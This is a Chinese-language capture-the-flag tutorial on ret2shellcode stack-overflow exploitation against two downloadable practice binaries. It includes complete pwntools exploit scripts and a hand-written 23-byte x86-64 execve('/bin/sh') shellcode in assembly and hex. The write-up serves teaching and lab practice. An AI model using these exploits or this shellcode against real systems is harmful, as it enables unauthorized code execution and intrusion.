ret2shellcode
ret2shellcode,即控制程序執行 ( ret to ) shellcode代碼。我們之間講解棧溢出原理的例子實際上就是re2shellcode。一般來說,shellcode 需要我們自己填充。這其實是另外一種典型的利用方法,即此時我們需要自己去填充一些可執行的代碼。
在棧溢出的基礎上,要想執行 shellcode,需要對應的 binary 在運行時,shellcode 所在的區域具有可執行權限。
例題1
鏈接: https://pan.baidu.com/s/1ofMYY7hrIeGtamtPZjuA5w 密碼: g9ui
查看一下程序的保護
可以看出源程序幾乎沒有開啟任何保護,并且有RWX可讀,可寫,可執行段。
直接放到IDA下分析

gets()獲得輸入數據,存在溢出的同時還將字符串復制到buf2處。查看buf2所在的段地址

開啟gdb調試程序,在main函數處下斷點b main,跑起來之后通過vmmap命令查看各個段的權限

buf2所在的段具有x可執行權限。那么就意味著我們可以將shellcode通過strncpy函數放進bu這個區域,在觸發溢出后將返回地址指向buf2這里即可拿到shell。
接下來就是確定返回地址的偏移量了,也就是尋找多少字節能溢出并且剛好能夠覆蓋return address。這里我們通過gdb-peda的pattern_create和pattern_offset來確定偏移量。這是一個生成字符串模板輸入后根據EIP來確定覆蓋return address的長度。

然后我們讓程序跑起來輸入這段字符串后程序壞掉了

給我們的提示是0x41384141地址無效
接下來通過pattern_offset確定這個的偏移量,在我們輸入的數據當中

可以看到,我們要覆蓋的return address的偏移量相對于棧頂為112個字節。我們最終控制其指向buf2就可以執行我們自己的shellcode了。
具體的exp如下所示
#!/usr/bin/env python
from pwn import *
sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()
借助strncpy填入shellcode并控制return address指向他。
我們成功拿到shell。
例題2
鏈接: https://pan.baidu.com/s/16tNugdsLMrrMDRqUvL-ntw 密碼: poj5
checksec看一下保護機制

沒有canary, 堆棧可執行,沒有PIE。
放到IDA下看看

程序一開始可以直接給我們打印出buf的地址,并且存在棧溢出,不過可填充的長度有限。
0x前綴使它成為十六進制文字。ULL后綴使它鍵入unsigned long long。
我們看這兩行代碼
__int64 buf; // [sp+0h] [bp-10h]@1
read(0, &buf, 0x40uLL);
可以知道buf相對于ebp的偏移為0x10,所以其可用的shellcode空間為0x10+8=24。為什么+8是因為程序是64位的, 要覆蓋的rbp位8個字節,32位的ebp為4字節。
我們先看看pwntools為我們提供的shellcode的長度有多少
顯然,我們不能借助pwntool來使用shellcode了。
這里有一個長度為23的shellcode。但是其本身是有push指令的,會自動更改rsp的值。這時候如果我們把shellcode放在最前面,在程序leave的時候,在執行這些就會被覆蓋。
# char *const argv[]
xorl %esi, %esi
# 'h' 's' '/' '/' 'n' 'i' 'b' '/'
movq $0x68732f2f6e69622f, %rbx
# for '\x00'
pushq %rsi
pushq %rbx
pushq %rsp
# const char *filename
popq %rdi
# __NR_execve 59
pushq $59
popq %rax
# char *const envp[]
xorl %edx, %edx
syscall
shellcode_x64 = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
那么為什么我們不可以將shellcode放在后面呢?當然是可以的
exp如下
from pwn import *
sh = process('./short_shellcode')
# 23 bytes
shellcode_x64 = b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
sh.recvuntil('[')
buf_addr = sh.recvuntil(']', drop=True)
buf_addr = int(buf_addr, 16)
#gdb.attach(sh)
sh.sendline(b'A'*24 + p64(buf_addr + 32) + shellcode_x64)
sh.interactive()
我們獲取到程序返回的buf起始地址并保存,接著填充24個字節0x10(buf的偏移量) + 8(rbp為8字節),然后將return address覆蓋成shellcode起始地址 (填充的buf_addr占8位,所以一共是32為偏移,24+8=32)。最后加上我們的shellcode就可以了。
成功拿到shell。
溢出前后的棧空間變化如下所示從左到右為低地址到高地址,棧頂到棧底。
| buf數組空間[bp-0x10]16字節 | 當前函數rbp 8字節 | 返回地址 8字節 | 上個函數棧 |
| AAAAAAAAAAAAAAAAAAAAA | AAAAAAAA覆蓋 rbp | buf_addr + 32 | shellcode |
最終返回地址指向我們構造的shellcode
可以注意到我們呢的exp中都會這樣寫b'A'*n這里因為如果不這樣的話在python3中會報錯,而python2在現在已經不支持了。具體詳情見https://stackoverflow.com/questions/21689365/python-3-typeerror-must-be-str-not-bytes-with-sys-stdout-write
參考